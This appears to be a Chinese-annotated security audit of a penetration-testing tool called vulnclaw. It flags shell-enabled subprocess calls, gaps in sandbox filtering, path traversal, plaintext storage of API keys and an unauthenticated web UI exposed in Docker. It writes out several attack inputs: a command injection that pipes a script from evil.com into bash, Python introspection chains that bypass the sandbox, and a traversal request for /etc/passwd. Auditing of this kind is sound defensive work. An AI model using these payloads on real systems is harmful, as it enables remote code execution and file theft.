# Linux: use_shell = os.name != "nt" → True use_shell = os.name != "nt" result = subprocess.run( argv, cwd=str(workdir), shell=use_shell, ← 危险 capture_output=True, timeout=timeout_ms / 1000, ) # 攻击: ls; curl evil.com/shell.sh|bash

# Safe Mode 正则盲区: # open / socket / urllib / requests 被拦截 # 但 AST 检测未覆盖: ().__class__.__bases__[0].__subclasses__() getattr(().__class__, '__subclasses__') # AST 只检查显式 getattr(__builtins__,...) # 间接访问 __builtins__ 可绕过: getattr(().__class__.__init__, '__globals__')['__builtins__']

# app.py L251: catch-all 路由 @app.get("/{full_path:path}") async def frontend_routes(full_path): if full_path.startswith("api/"): raise HTTPException(404) return FileResponse( resolve_web_asset(full_path)) # 攻击: GET /..%2F..%2F..%2Fetc%2Fpasswd

# settings.py L102: save_config def save_config(config): raw = config.model_dump(mode="json") _strip_defaults(raw) with open(CONFIG_FILE, "w") as f: yaml.dump(raw, f) ← 明文 # ~/.vulnclaw/config.yaml: api_key: sk-xxxxxxxxxxxxxxx

# Dockerfile 默认 CMD: CMD ["vulnclaw", "web", "--host", "0.0.0.0", "--port", "7788", "--allow-remote"] # 容器启动即暴露 7788 端口 # 无需认证即可访问 Web UI # 攻击者可远程操控渗透任务